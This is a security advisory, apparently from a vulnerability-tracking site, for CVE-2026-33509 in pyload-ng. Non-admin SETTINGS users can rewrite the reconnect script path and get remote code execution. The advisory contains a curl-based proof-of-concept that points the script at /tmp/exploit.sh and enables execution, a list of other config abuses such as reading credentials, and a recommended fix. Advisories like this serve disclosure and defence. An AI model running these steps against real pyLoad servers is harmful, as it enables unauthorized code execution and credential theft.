CVE-2026-33509: pyload-ng: SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration

Published Mar 20, 2026
·
Updated

Summary

The setconfigvalue() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in setconfigvalue() is a hardcoded check for general.storagefolder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.

Details

The vulnerability chain spans two components:

1. Unrestricted config write — src/pyload/core/api/init.py:210-243

python @permission(Perms.SETTINGS) @post def setconfigvalue(self, category: str, option: str, value: Any, section: str = "core") -> None: self.pyload.addonmanager.dispatchevent( "configchanged", category, option, value, section ) if section == "core": if category == "general" and option == "storagefolder": # Forbid setting the download folder inside dangerous locations # ... validation only for storagefolder ... return

self.pyload.config.set(category, option, value) # No validation for any other option

The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storagefolder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.

2. Arbitrary script execution — src/pyload/core/managers/threadmanager.py:157-199

python def tryreconnect(self): if not ( self.pyload.config.get("reconnect", "enabled") and self.pyload.api.istimereconnect() ): return False

# ... checks if active downloads want reconnect ...

reconnectscript = self.pyload.config.get("reconnect", "script") if not os.path.isfile(reconnectscript): self.pyload.config.set("reconnect", "enabled", False) self.pyload.log.warning(self.("Reconnect script not found!")) return

# ... reconnect logic ...

try: subprocess.run(reconnectscript) # Executes attacker-controlled path except Exception: # ...

The reconnectscript value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.

3. Attacker also controls timing via same SETTINGS permission

The attacker can set reconnect.enabled=True, reconnect.starttime, and reconnect.endtime through the same setconfigvalue() endpoint to control when execution occurs. togglereconnect() at line 321 requires only Perms.STATUS — an even lower privilege.

4. Additional privilege escalation via config access

Beyond RCE, the same unrestricted config write allows SETTINGS users to: - Read proxy credentials (proxy.username/proxy.password) in plaintext via getconfig() - Redirect syslog to an attacker-controlled server (log.sysloghost/log.syslogport) - Disable SSL (webui.usessl=False), rebind to 0.0.0.0 (webui.host) - Modify SSL certificate/key paths to enable MITM

PoC

Step 1: Set reconnect script to an attacker-controlled executable

Via API: bash Authenticate and get session (as user with SETTINGS permission) curl -c cookies.txt -X POST 'http://target:8000/api/login' \ -d 'username=settingsuser&password=pass123'

Set reconnect script to a known executable on the system curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=script&value=/tmp/exploit.sh&section=core'

Via Web UI: bash curl -b cookies.txt -X POST 'http://target:8000/json/saveconfig?category=core' \ -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'

Step 2: Enable reconnect and set timing window

bash curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=enabled&value=True&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=starttime&value=00:00&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=endtime&value=23:59&section=core'

Step 3: Script executes when thread manager calls tryreconnect()

The thread manager's run() method (called repeatedly by the core loop) invokes tryreconnect(), which calls subprocess.run(reconnectscript) at threadmanager.py:199.

Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.

Impact

- Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user - Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability - Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via getconfig() - Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings

Recommended Fix

Add an allowlist or category-level restriction in setconfigvalue() that prevents non-admin users from modifying security-critical options:

python In setconfigvalue(), after the storagefolder check: ADMINONLYOPTIONS = { ("reconnect", "script"), ("webui", "host"), ("webui", "usessl"), ("webui", "sslcert"), ("webui", "sslkey"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "username"), ("proxy", "password"), }

if section == "core" and (category, option) in ADMINONLYOPTIONS: # Require ADMIN role for security-critical settings if not self.pyload.api.userdata.get("role") == Role.ADMIN: raise PermissionError(f"Admin role required to modify {category}.{option}")

Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.

Other sources

pyLoad is a free and open-source download manager written in Python. From version 0.4.0 to before version 0.5.0b3.dev97, the setconfigvalue() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in setconfigvalue() is a hardcoded check for general.storagefolder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction. This issue has been patched in version 0.5.0b3.dev97.

— MITRE

Affected Software

3 affected components
pip/pyload-ng>=0.4.0<=0.5.0b3.dev96
pyload pyload>=0.4<=0.4.20
Pyload-ng Project Pyload-ng Python>=0.5.0a5.dev528<0.5.0b3.dev97

Event History

Mar 20, 2026
Advisory Published
via GitHub·09:50 PM
Data Sourced
via GitHub·09:50 PM
DescriptionSeverityWeaknessAffected Software
Mar 24, 2026
CVE Published
via MITRE·06:55 PM
Data Sourced
via MITRE·06:55 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-33509?

CVE-2026-33509 has a high severity level due to unauthorized access to critical configuration options.

2

How do I fix CVE-2026-33509?

To fix CVE-2026-33509, restrict the `set_config_value()` API endpoint to only allow admin users to modify configuration options.

3

Which versions of pyload-ng are affected by CVE-2026-33509?

CVE-2026-33509 affects pyload-ng versions between 0.4.0 and 0.5.0b3.dev96.

4

What is the impact of CVE-2026-33509?

The impact of CVE-2026-33509 allows unauthorized users to modify critical configuration settings, potentially leading to security breaches.

5

Who should be aware of CVE-2026-33509?

Developers and administrators using pyload-ng should be aware of CVE-2026-33509 to prevent unauthorized configuration changes.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203